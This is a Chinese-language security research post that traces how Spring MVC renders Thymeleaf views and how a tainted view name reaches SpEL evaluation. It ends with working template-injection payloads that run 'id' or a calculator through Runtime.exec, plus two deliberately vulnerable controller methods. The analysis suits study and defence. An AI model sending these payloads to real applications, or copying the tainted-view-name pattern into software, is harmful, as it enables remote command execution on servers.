• Java安全之Thymeleaf 模板注入分析


    Java安全之Thymeleaf 模板注入分析

    前言

    沉下心学习点东西

    Spring mvc解析流程

    Spring配置DispatcherServlet进行前端控制器拦截请求,流程来到 org.springframework.web.servlet.DispatcherServlet#doService

    image-20220430155823097

    调用this.doDispatch

    org.springframework.web.servlet.DispatcherServlet#doDispatch

    protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
    		/**
    		 * 声明变量 HttpServletRequest HandlerExecutionChain Handler执行链包含和最扣执行的Handler
    		 */
    		HttpServletRequest processedRequest = request;
    		HandlerExecutionChain mappedHandler = null;
    		//是不是一个多组件请求
    		boolean multipartRequestParsed = false;
    		//异步管理器
    		WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);
    
    		try {
    			//视图
    			ModelAndView mv = null;
    			//异常
    			Exception dispatchException = null;
    
    			try {
    				/**
    				 * 1.检查是否上传请求
    				 */
    				processedRequest = checkMultipart(request);
    				multipartRequestParsed = (processedRequest != request);
    
    				// Determine handler for the current request.
    				/**
    				 * 2.根据processedRequest获取映射的Handler执行链 HandlerExecutionChain
    				 * 有当前请求的Handler和Inteceptor
    				 */
    				mappedHandler = getHandler(processedRequest);
    				if (mappedHandler == null) {
    					/**
    					 * 如果mappedHandler为空就返回404
    					 */
    					noHandlerFound(processedRequest, response);
    					return;
    				}
    
    				/**
    				 * 3.根据mappedHandler  HandlerExecutionChain  HandlerAdapter适配器
    				 */
    				// 确定当前请求的处理程序适配器。
    				HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());
    
    				/**
    				 * 获取请求方法
    				 * 处理last-modified 请求头
    				 */
    				// Process last-modified header, if supported by the handler.
    				String method = request.getMethod();
    				boolean isGet = "GET".equals(method);
    				if (isGet || "HEAD".equals(method)) {
    					//获取最近修改时间,缓存
    					long lastModified = ha.getLastModified(request, mappedHandler.getHandler());
    					if (new ServletWebRequest(request, response).checkNotModified(lastModified) && isGet) {
    						return;
    					}
    				}
    
    				/**
    				 * 4.预处理,执行拦截器等
    				 */
    				if (!mappedHandler.applyPreHandle(processedRequest, response)) {
    					return;
    				}
    
    				/**
    				 * 5.实现执行Controller中(Handler)的方法,返回ModelAndView视图
    				 */
    				// Actually invoke the handler.
    				mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
    
    				if (asyncManager.isConcurrentHandlingStarted()) {
    					/**
    					 * 判断 是不是异步请求,是就返回了
    					 */
    					return;
    				}
    				/**
    				 * 6.对象视图对象的处理
    				 */
    				applyDefaultViewName(processedRequest, mv);
    				/**
    				 * 7.拦截器后后置处理
    				 */
    				mappedHandler.applyPostHandle(processedRequest, response, mv);
    			}
    			catch (Exception ex) {
    				dispatchException = ex;
    			}
    			catch (Throwable err) {
    				// As of 4.3, we're processing Errors thrown from handler methods as well,
    				// 使它们可用于@异常处理程序方法和其他场景。
    				dispatchException = new NestedServletException("Handler dispatch failed", err);
    			}
    			/**
    			 * 8.对页面渲染
    			 */
    			processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
    		}
    		catch (Exception ex) {
    			/**
    			 * 9.对页面渲染完成里调用拦截器中的AfterCompletion方法
    			 */
    			triggerAfterCompletion(processedRequest, response, mappedHandler, ex);
    		}
    		catch (Throwable err) {
    			/**
    			 * 最终对页面渲染完成里调用拦截器中的AfterCompletion方法
    			 */
    			triggerAfterCompletion(processedRequest, response, mappedHandler,
    					new NestedServletException("Handler processing failed", err));
    		}
    		finally {
    			if (asyncManager.isConcurrentHandlingStarted()) {
    				// Instead of postHandle and afterCompletion
    				if (mappedHandler != null) {
    					mappedHandler.applyAfterConcurrentHandlingStarted(processedRequest, response);
    				}
    			}
    			else {
    				//清除由多个部分组成的请求使用的所有资源。
    				if (multipartRequestParsed) {
    					cleanupMultipart(processedRequest);
    				}
    			}
    		}
    	}
    
    

    获取Handler

    org.springframework.web.servlet.DispatcherServlet#getHandler

    	protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
    		if (this.handlerMappings != null) {
    			/**
    			 * 遍历handlerMappings 映射器
    			 */
    			for (HandlerMapping mapping : this.handlerMappings) {
    				//根据请求获取HandlerExecutionChain
    				HandlerExecutionChain handler = mapping.getHandler(request);
    				if (handler != null) {
    					return handler;
    				}
    			}
    		}
    		return null;
    	}
    
    
    • handlerMappings:处理器映射,保存了每一个处理器可以处理哪些请求的方法的映射信息。

    org.springframework.web.servlet.DispatcherServlet#getHandler

    public final HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
    		/**
    		 * 根据请求获取Handler
    		 */
    		Object handler = getHandlerInternal(request);
    		if (handler == null) {
    			/**
    			 * 如果为空就使得默认的
    			 */
    			handler = getDefaultHandler();
    		}
    		if (handler == null) {
    			return null;
    		}
    		// Bean名称或解析处理程序
    		if (handler instanceof String) {
    			String handlerName = (String) handler;
    			handler = obtainApplicationContext().getBean(handlerName);
    		}
    		/**
    		 * 获取HandlerExecutionChain
    		 */
    		HandlerExecutionChain executionChain = getHandlerExecutionChain(handler, request);
    
    		if (logger.isTraceEnabled()) {
    			logger.trace("Mapped to " + handler);
    		}
    		else if (logger.isDebugEnabled() && !request.getDispatcherType().equals(DispatcherType.ASYNC)) {
    			logger.debug("Mapped to " + executionChain.getHandler());
    		}
    		/**
    		 * 跨域配置
    		 */
    		if (CorsUtils.isCorsRequest(request)) {
    			CorsConfiguration globalConfig = this.corsConfigurationSource.getCorsConfiguration(request);
    			CorsConfiguration handlerConfig = getCorsConfiguration(handler, request);
    			CorsConfiguration config = (globalConfig != null ? globalConfig.combine(handlerConfig) : handlerConfig);
    			executionChain = getCorsHandlerExecutionChain(request, executionChain, config);
    		}
    
    		return executionChain;
    	}
    
    
    

    org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#getHandlerInternal

      protected HandlerMethod getHandlerInternal(HttpServletRequest request) throws Exception {
            String lookupPath = this.getUrlPathHelper().getLookupPathForRequest(request);//获取请求路径
            request.setAttribute(LOOKUP_PATH, lookupPath);
            this.mappingRegistry.acquireReadLock();
    
            HandlerMethod var4;
            try {
                HandlerMethod handlerMethod = this.lookupHandlerMethod(lookupPath, request);
                var4 = handlerMethod != null ? handlerMethod.createWithResolvedBean() : null;
            } finally {
                this.mappingRegistry.releaseReadLock();
            }
    
            return var4;
        }
    

    org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#lookupHandlerMethod

    protected HandlerMethod lookupHandlerMethod(String lookupPath, HttpServletRequest request) throws Exception {
    		List<Match> matches = new ArrayList<>();
    		/**
    		 * 根据URL获取匹配 ,可以匹配到多个
    		 * 通过uri直接在注册的RequestMapping中获取对应的RequestMappingInfo列表,需要注意的是,
    		 * 这里进行查找的方式只是通过url进行查找,但是具体哪些RequestMappingInfo是匹配的,还需要进一步过滤
    		 */
    		List<T> directPathMatches = this.mappingRegistry.getMappingsByUrl(lookupPath);
    		if (directPathMatches != null) {
    			/**
    			 * 如果匹配的就添到上面的集合中
    			 */
    			addMatchingMappings(directPathMatches, matches, request);
    		}
    		if (matches.isEmpty()) {
    			// 如果无法通过uri进行直接匹配,则对所有的注册的RequestMapping进行匹配,这里无法通过uri
    			// 匹配的情况主要有三种:
    			// ①在RequestMapping中定义的是PathVariable,如/user/detail/{id};
    			// ②在RequestMapping中定义了问号表达式,如/user/?etail;
    			// ③在RequestMapping中定义了*或**匹配,如/user/detail/**
    			// No choice but to go through all mappings...
    			addMatchingMappings(this.mappingRegistry.getMappings().keySet(), matches, request);
    		}
    
    		if (!matches.isEmpty()) {
    			/**
    			 * 使用生成一个比较器
    			 * 对匹配的结果进行排序,获取相似度最高的一个作为结果返回,这里对相似度的判断时,
    			 *
    			 */
    			Comparator<Match> comparator = new MatchComparator(getMappingComparator(request));
    			//使用比较器排序
    			matches.sort(comparator);
    			//排序后第一个是最好的,获取匹配程度最高的一个匹配结果
    			Match bestMatch = matches.get(0);
    			if (matches.size() > 1) {
    				if (logger.isTraceEnabled()) {
    					logger.trace(matches.size() + " matching mappings: " + matches);
    				}
    				if (CorsUtils.isPreFlightRequest(request)) {
    					return PREFLIGHT_AMBIGUOUS_MATCH;
    				}
    				Match secondBestMatch = matches.get(1);
    				/**
    				 * 会判断前两个是否相似度是一样的,如果是一样的,则直接抛出异常,如果不相同,
    				 */
    				if (comparator.compare(bestMatch, secondBestMatch) == 0) {
    					Method m1 = bestMatch.handlerMethod.getMethod();
    					Method m2 = secondBestMatch.handlerMethod.getMethod();
    					String uri = request.getRequestURI();
    					throw new IllegalStateException(
    							"Ambiguous handler methods mapped for '" + uri + "': {" + m1 + ", " + m2 + "}");
    				}
    			}
    			request.setAttribute(BEST_MATCHING_HANDLER_ATTRIBUTE, bestMatch.handlerMethod);
    			//这里主要是对匹配结果的一个处理,主要包含对传入参数和返回的MediaType的处理
    			handleMatch(bestMatch.mapping, lookupPath, request);
    			return bestMatch.handlerMethod;
    		}
    		else {
    			return handleNoMatch(this.mappingRegistry.getMappings().keySet(), lookupPath, request);
    		}
    	}
    
    

    image-20220430170945695

    org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#addMatchingMappings

    image-20220430174020262

    image-20220430174211308

    回到org.springframework.web.servlet.DispatcherServlet#doDispatch执行流程

    调用HandlerAdapter ha = this.getHandlerAdapter(mappedHandler.getHandler());

    protected HandlerAdapter getHandlerAdapter(Object handler) throws ServletException {
    		if (this.handlerAdapters != null) {
    			for (HandlerAdapter adapter : this.handlerAdapters) {
    				//判断处理器是否支持
    				if (adapter.supports(handler)) {
    					return adapter;
    				}
    			}
    		}
    		throw new ServletException("No adapter for handler [" + handler +
    				"]: The DispatcherServlet configuration needs to include a HandlerAdapter that supports this handler");
    	}
    

    找到目标处理器的适配器,用适配器执行目标方法。

    image-20220430171948120

    执行interceptors#preHandle

    流程走到下面代码

    if (!mappedHandler.applyPreHandle(processedRequest, response)) {
                            return;
                        }
    
    boolean applyPreHandle(HttpServletRequest request, HttpServletResponse response) throws Exception {
            HandlerInterceptor[] interceptors = this.getInterceptors();
            if (!ObjectUtils.isEmpty(interceptors)) {
                for(int i = 0; i < interceptors.length; this.interceptorIndex = i++) {
                    HandlerInterceptor interceptor = interceptors[i];
                    if (!interceptor.preHandle(request, response, this.handler)) {
                        this.triggerAfterCompletion(request, response, (Exception)null);
                        return false;
                    }
                }
            }
    
            return true;
        }
    

    获取interceptor拦截器,进行比遍历调用preHandle方法,这里没配置interceptor,获取到自动配置的2个拦截器。

    ConversionServiceExposingInterceptor、ResourceUrlProviderExposingInterceptor

    调用Handle

    流程继调用回到org.springframework.web.servlet.DispatcherServlet#doDispatch

    调用mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

    org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#handleInternal

    protected ModelAndView handleInternal(HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {
            this.checkRequest(request);
            ModelAndView mav;
            if (this.synchronizeOnSession) {
                HttpSession session = request.getSession(false);
                if (session != null) {
                    Object mutex = WebUtils.getSessionMutex(session);
                    synchronized(mutex) {
                        mav = this.invokeHandlerMethod(request, response, handlerMethod);
                    }
                } else {
                    mav = this.invokeHandlerMethod(request, response, handlerMethod);
                }
            } else {
                mav = this.invokeHandlerMethod(request, response, handlerMethod);
            }
    

    org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#invokeHandlerMethod

    	// 它的作用就是执行目标的HandlerMethod,然后返回一个ModelAndView 
    	@Nullable
    	protected ModelAndView invokeHandlerMethod(HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {
    
    		ServletWebRequest webRequest = new ServletWebRequest(request, response);
    		// 注意:此处只有try-finally 
    		// 因为invocableMethod.invokeAndHandle(webRequest, mavContainer)是可能会抛出异常的(交给全局异常处理)
    		try {
    			// 最终创建的是一个ServletRequestDataBinderFactory,持有所有@InitBinder的method方法们
    			WebDataBinderFactory binderFactory = getDataBinderFactory(handlerMethod);
    			// 创建一个ModelFactory,@ModelAttribute啥的方法就会被引用进来
    			ModelFactory modelFactory = getModelFactory(handlerMethod, binderFactory);
    
    			// 把HandlerMethod包装为ServletInvocableHandlerMethod,具有invoke执行的能力喽
    			// 下面这几部便是一直给invocableMethod的各大属性赋值~~~
    			ServletInvocableHandlerMethod invocableMethod = createInvocableHandlerMethod(handlerMethod);
    			if (this.argumentResolvers != null) {
    				invocableMethod.setHandlerMethodArgumentResolvers(this.argumentResolvers);
    			}
    			if (this.returnValueHandlers != null) {
    				invocableMethod.setHandlerMethodReturnValueHandlers(this.returnValueHandlers);
    			}
    			invocableMethod.setDataBinderFactory(binderFactory);
    			invocableMethod.setParameterNameDiscoverer(this.parameterNameDiscoverer);
    
    
    
    
    			ModelAndViewContainer mavContainer = new ModelAndViewContainer();
    			// 把上个request里的值放进来到本request里
    			mavContainer.addAllAttributes(RequestContextUtils.getInputFlashMap(request));
    			// model工厂:把它里面的Model值放进mavContainer容器内(此处@ModelAttribute/@SessionAttribute啥的生效)
    			modelFactory.initModel(webRequest, mavContainer, invocableMethod);
    			mavContainer.setIgnoreDefaultModelOnRedirect(this.ignoreDefaultModelOnRedirect);
    
    			AsyncWebRequest asyncWebRequest = WebAsyncUtils.createAsyncWebRequest(request, response);
    			asyncWebRequest.setTimeout(this.asyncRequestTimeout);
    
    			WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);
    			asyncManager.setTaskExecutor(this.taskExecutor);
    			asyncManager.setAsyncWebRequest(asyncWebRequest);
    			asyncManager.registerCallableInterceptors(this.callableInterceptors);
    			asyncManager.registerDeferredResultInterceptors(this.deferredResultInterceptors);
    
    			// 它不管是不是异步请求都先用AsyncWebRequest 包装了一下,但是若是同步请求
    			// asyncManager.hasConcurrentResult()肯定是为false的~~~
    			if (asyncManager.hasConcurrentResult()) {
    				Object result = asyncManager.getConcurrentResult();
    				mavContainer = (ModelAndViewContainer) asyncManager.getConcurrentResultContext()[0];
    				asyncManager.clearConcurrentResult();
    				LogFormatUtils.traceDebug(logger, traceOn -> {
    					String formatted = LogFormatUtils.formatValue(result, !traceOn);
    					return "Resume with async result [" + formatted + "]";
    				});
    				invocableMethod = invocableMethod.wrapConcurrentResult(result);
    			}
    
    			// 此处其实就是调用ServletInvocableHandlerMethod#invokeAndHandle()方法喽
    			// 关于它你可以来这里:https://fangshixiang.blog.csdn.net/article/details/98385163
    			// 注意哦:任何HandlerMethod执行完后都是把结果放在了mavContainer里(它可能有Model,可能有View,可能啥都木有~~)
    			// 因此最后的getModelAndView()又得一看
    			invocableMethod.invokeAndHandle(webRequest, mavContainer);
    			if (asyncManager.isConcurrentHandlingStarted()) {
    				return null;
    			}
    
    			return getModelAndView(mavContainer, modelFactory, webRequest);
    		} finally {
    			webRequest.requestCompleted();
    		}
    	}
    

    调用invocableMethod.invokeAndHandle(webRequest, mavContainer, new Object[0]);

    org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle

     public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception {
            Object returnValue = this.invokeForRequest(webRequest, mavContainer, providedArgs);
            this.setResponseStatus(webRequest);
            if (returnValue == null) {
                if (this.isRequestNotModified(webRequest) || this.getResponseStatus() != null || mavContainer.isRequestHandled()) {
                    this.disableContentCachingIfNecessary(webRequest);
                    mavContainer.setRequestHandled(true);
                    return;
                }
            }
       //...
    

    org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest

       @Nullable
        public Object invokeForRequest(NativeWebRequest request, @Nullable ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception {
            Object[] args = this.getMethodArgumentValues(request, mavContainer, providedArgs);
            if (this.logger.isTraceEnabled()) {
                this.logger.trace("Arguments: " + Arrays.toString(args));
            }
    
            return this.doInvoke(args);
        }
    

    org.springframework.web.method.support.InvocableHandlerMethod#doInvoke

    到这个地方会反射调用路由中类中的方法,并将参数进行传递

    image-20220430181919034

    image-20220430181939170

    执行handle完成后,还会调用this.returnValueHandlers.handleReturnValue方法

    image-20220430225737304

     public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
            HandlerMethodReturnValueHandler handler = this.selectHandler(returnValue, returnType);
            if (handler == null) {
                throw new IllegalArgumentException("Unknown return value type: " + returnType.getParameterType().getName());
            } else {
                handler.handleReturnValue(returnValue, returnType, mavContainer, webRequest);
            }
        }
    

    调用handler.handleReturnValue

        public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
            if (returnValue instanceof CharSequence) {
                String viewName = returnValue.toString();
                mavContainer.setViewName(viewName);
                if (this.isRedirectViewName(viewName)) {
                    mavContainer.setRedirectModelScenario(true);
                }
            } else if (returnValue != null) {
                throw new UnsupportedOperationException("Unexpected return type: " + returnType.getParameterType().getName() + " in method: " + returnType.getMethod());
            }
    
        }
    
        protected boolean isRedirectViewName(String viewName) {
            return PatternMatchUtils.simpleMatch(this.redirectPatterns, viewName) || viewName.startsWith("redirect:");
        }
    

    上面判断如果redirect:开头,如果是的话则设置重定向的属性

    回到org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#invokeHandlerMethod

    这里调用this.getModelAndView获取获取ModelAndView对象

    image-20220430231315778

    执行interceptors#postHandle

    mappedHandler.applyPostHandle(processedRequest, response, mv);

     void applyPostHandle(HttpServletRequest request, HttpServletResponse response, @Nullable ModelAndView mv) throws Exception {
            HandlerInterceptor[] interceptors = this.getInterceptors();
            if (!ObjectUtils.isEmpty(interceptors)) {
                for(int i = interceptors.length - 1; i >= 0; --i) {
                    HandlerInterceptor interceptor = interceptors[i];
                    interceptor.postHandle(request, response, this.handler, mv);
                }
            }
    
        }
    

    遍历执行拦截器postHandle,与前一致。

    执行模板渲染

    this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException);

    org.springframework.web.servlet.DispatcherServlet#doDispatch

    private void processDispatchResult(HttpServletRequest request, HttpServletResponse response, @Nullable HandlerExecutionChain mappedHandler, @Nullable ModelAndView mv, @Nullable Exception exception) throws Exception {
            boolean errorView = false;
            if (exception != null) {
                if (exception instanceof ModelAndViewDefiningException) {
                    this.logger.debug("ModelAndViewDefiningException encountered", exception);
                    mv = ((ModelAndViewDefiningException)exception).getModelAndView();
                } else {
                    Object handler = mappedHandler != null ? mappedHandler.getHandler() : null;
                    mv = this.processHandlerException(request, response, handler, exception);
                    errorView = mv != null;
                }
            }
    
            if (mv != null && !mv.wasCleared()) {
                this.render(mv, request, response);
              //...
    
    protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception {
    		/**
    		 * 国际化设置
    		 */
    		// Determine locale for request and apply it to the response.
    		Locale locale =
    				(this.localeResolver != null ? this.localeResolver.resolveLocale(request) : request.getLocale());
    		response.setLocale(locale);
    		/**
    		 * 获取ViewName
    		 */
    		View view;
    		//success
    		String viewName = mv.getViewName();
    		if (viewName != null) {
    			/**
    			 * 使用视图解析器获取完整的名称
    			 */
    			// We need to resolve the view name.
    			view = resolveViewName(viewName, mv.getModelInternal(), locale, request);
    			if (view == null) {
    				throw new ServletException("Could not resolve view with name '" + mv.getViewName() +
    						"' in servlet with name '" + getServletName() + "'");
    			}
    		}
    		else {
    			// 不需要查找:模型和视图对象包含实际的视图对象。
    			view = mv.getView();
    			if (view == null) {
    				throw new ServletException("ModelAndView [" + mv + "] neither contains a view name nor a " +
    						"View object in servlet with name '" + getServletName() + "'");
    			}
    		}
    
    		// 委托给视图对象进行呈现。
    		if (logger.isTraceEnabled()) {
    			logger.trace("Rendering view [" + view + "] ");
    		}
    		try {
    			if (mv.getStatus() != null) {
    				response.setStatus(mv.getStatus().value());
    			}
    			/**
    			 * 渲染使用视图解析器
    			 */
    			view.render(mv.getModelInternal(), request, response);
    		}
    		catch (Exception ex) {
    			if (logger.isDebugEnabled()) {
    				logger.debug("Error rendering view [" + view + "]", ex);
    			}
    			throw ex;
    		}
    	}
    
    
    

    这里viewName是前面调用Controller 的handle return的值。

    spring mvc中return的值会作为模板进行渲染。

    调用view.render(mv.getModelInternal(), request, response);

    org.thymeleaf.spring5.view.ThymeleafView#renderFragment

    protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
            //...
                String templateName;
                Set markupSelectors;
                if (!viewTemplateName.contains("::")) {
                    templateName = viewTemplateName;
                    markupSelectors = null;
                } else {
                    IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);
    
                    FragmentExpression fragmentExpression;
                    try {
                        fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
                    } 
    

    这里有个判断,viewTemplateName中不包含::则不会走到下面逻辑中。

    image-20220430184342139

    org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String)

    image-20220430185854501

    org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String)

     public Expression parseExpression(IExpressionContext context, String input) {
            Validate.notNull(context, "Context cannot be null");
            Validate.notNull(input, "Input cannot be null");
            return (Expression)parseExpression(context, input, true);
        }
    

    org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String, boolean)

     static IStandardExpression parseExpression(IExpressionContext context, String input, boolean preprocess) {
            IEngineConfiguration configuration = context.getConfiguration();
            String preprocessedInput = preprocess ? StandardExpressionPreprocessor.preprocess(context, input) : input;
            IStandardExpression cachedExpression = ExpressionCache.getExpressionFromCache(configuration, preprocessedInput);
            if (cachedExpression != null) {
                return cachedExpression;
            } else {
                Expression expression = Expression.parse(preprocessedInput.trim());
                if (expression == null) {
                    throw new TemplateProcessingException("Could not parse as expression: \"" + input + "\"");
                } else {
                    ExpressionCache.putExpressionIntoCache(configuration, preprocessedInput, expression);
                    return expression;
                }
            }
        }
    

    org.thymeleaf.standard.expression.StandardExpressionPreprocessor#preprocess

    final class StandardExpressionPreprocessor {
        private static final char PREPROCESS_DELIMITER = '_';
        private static final String PREPROCESS_EVAL = "\\_\\_(.*?)\\_\\_";
        private static final Pattern PREPROCESS_EVAL_PATTERN = Pattern.compile("\\_\\_(.*?)\\_\\_", 32);
      
    static String preprocess(IExpressionContext context, String input) {
            if (input.indexOf(95) == -1) {
                return input;
            } else {
                IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(context.getConfiguration());
                if (!(expressionParser instanceof StandardExpressionParser)) {
                    return input;
                } else {
                    Matcher matcher = PREPROCESS_EVAL_PATTERN.matcher(input);
                    if (!matcher.find()) {
                        return checkPreprocessingMarkUnescaping(input);
                    } else {
                        StringBuilder strBuilder = new StringBuilder(input.length() + 24);
                        int curr = 0;
    
                        String remaining;
                        do {
                            remaining = checkPreprocessingMarkUnescaping(input.substring(curr, matcher.start(0)));
                            String expressionText = checkPreprocessingMarkUnescaping(matcher.group(1));
                            strBuilder.append(remaining);
                            IStandardExpression expression = StandardExpressionParser.parseExpression(context, expressionText, false);
                            if (expression == null) {
                                return null;
                            }
    
                            Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);
                            strBuilder.append(result);
                            curr = matcher.end(0);
                        } while(matcher.find());
    
                        remaining = checkPreprocessingMarkUnescaping(input.substring(curr));
                        strBuilder.append(remaining);
                        return strBuilder.toString().trim();
                    }
                }
            }
        }
    

    前面判断如果不存在_字符,直接返回,不做解析处理。

    ​ 调用 PREPROCESS_EVAL_PATTERN.matcher(input);,进行正则提取,这里提取的是__中间的内容。

    提取后获取到的内容是${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a Calculator.app").getInputStream()).next()}

    image-20220430202815320

    调用expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);进行表达式执行

      public Object execute(IExpressionContext context, StandardExpressionExecutionContext expContext) {
            Validate.notNull(context, "Context cannot be null");
            IStandardVariableExpressionEvaluator variableExpressionEvaluator = StandardExpressions.getVariableExpressionEvaluator(context.getConfiguration());
            Object result = execute(context, this, variableExpressionEvaluator, expContext);
            return LiteralValue.unwrap(result);
        }
    

    调用execute->SimpleExpression.executeSimple(context, (SimpleExpression)expression, expressionEvaluator, expContext);->VariableExpression.executeVariableExpression(context, (VariableExpression)expression, expressionEvaluator, expContext);

    image-20220430215853394

    调用链

    exec:347, Runtime (java.lang)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:62, NativeMethodAccessorImpl (sun.reflect)
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:498, Method (java.lang.reflect)
    execute:130, ReflectiveMethodExecutor (org.springframework.expression.spel.support)
    getValueInternal:112, MethodReference (org.springframework.expression.spel.ast)
    getValueInternal:95, MethodReference (org.springframework.expression.spel.ast)
    getValueRef:61, CompoundExpression (org.springframework.expression.spel.ast)
    getValueInternal:91, CompoundExpression (org.springframework.expression.spel.ast)
    createNewInstance:114, ConstructorReference (org.springframework.expression.spel.ast)
    getValueInternal:100, ConstructorReference (org.springframework.expression.spel.ast)
    getValueRef:55, CompoundExpression (org.springframework.expression.spel.ast)
    getValueInternal:91, CompoundExpression (org.springframework.expression.spel.ast)
    getValue:112, SpelNodeImpl (org.springframework.expression.spel.ast)
    getValue:330, SpelExpression (org.springframework.expression.spel.standard)
    evaluate:263, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
    executeVariableExpression:166, VariableExpression (org.thymeleaf.standard.expression)
    executeSimple:66, SimpleExpression (org.thymeleaf.standard.expression)
    execute:109, Expression (org.thymeleaf.standard.expression)
    execute:138, Expression (org.thymeleaf.standard.expression)
    preprocess:91, StandardExpressionPreprocessor (org.thymeleaf.standard.expression)
    parseExpression:120, StandardExpressionParser (org.thymeleaf.standard.expression)
    parseExpression:62, StandardExpressionParser (org.thymeleaf.standard.expression)
    parseExpression:44, StandardExpressionParser (org.thymeleaf.standard.expression)
    renderFragment:278, ThymeleafView (org.thymeleaf.spring5.view)
    render:189, ThymeleafView (org.thymeleaf.spring5.view)
    render:1373, DispatcherServlet (org.springframework.web.servlet)
    processDispatchResult:1118, DispatcherServlet (org.springframework.web.servlet)
    doDispatch:1057, DispatcherServlet (org.springframework.web.servlet)
    doService:943, DispatcherServlet (org.springframework.web.servlet)
    processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
    doGet:898, FrameworkServlet (org.springframework.web.servlet)
    service:634, HttpServlet (javax.servlet.http)
    service:883, FrameworkServlet (org.springframework.web.servlet)
    service:741, HttpServlet (javax.servlet.http)
    internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
    doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
    doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
    internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
    doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
    doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
    doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
    internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
    doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
    doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
    doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
    internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
    doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
    doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
    doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
    internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
    doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
    invoke:202, StandardWrapperValve (org.apache.catalina.core)
    invoke:96, StandardContextValve (org.apache.catalina.core)
    invoke:526, AuthenticatorBase (org.apache.catalina.authenticator)
    invoke:139, StandardHostValve (org.apache.catalina.core)
    invoke:92, ErrorReportValve (org.apache.catalina.valves)
    invoke:74, StandardEngineValve (org.apache.catalina.core)
    service:343, CoyoteAdapter (org.apache.catalina.connector)
    service:408, Http11Processor (org.apache.coyote.http11)
    process:66, AbstractProcessorLight (org.apache.coyote)
    process:861, AbstractProtocol$ConnectionHandler (org.apache.coyote)
    doRun:1579, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
    run:49, SocketProcessorBase (org.apache.tomcat.util.net)
    runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
    run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
    run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
    run:748, Thread (java.lang)
    

    漏洞利用

    关于POC

    __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
    __${T(java.lang.Thread).sleep(10000)}__::...
      __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::...
    

    POC最后面.x,前面的解析流程没看到处理。

    利用条件

    1. 不使用@ResponseBody注解或者RestController注解
    2. 模板名称由redirect:forward:开头(不走ThymeleafView渲染)即无法利用
    3. 参数中有HttpServletResponse,设置为HttpServletResponse,Spring认为它已经处理了HTTP
      Response,因此不会发生视图名称解析。

    redirect和forward无法利用原因

    image-20220430232344171

    从viewName获取为redirect和forward机返回一个RedirectView或InternalResourceView,这里就不会走ThymeleafView解析。

    无法回显问题

       @GetMapping("/path")
        public String path(@RequestParam String lang) {
            return "user/" + lang + "/welcome"; //template path is tainted
        }
    
    
        @GetMapping("/fragment")
        public String fragment(@RequestParam String section) {
            return "welcome :: " + section; //fragment is tainted
        }
    

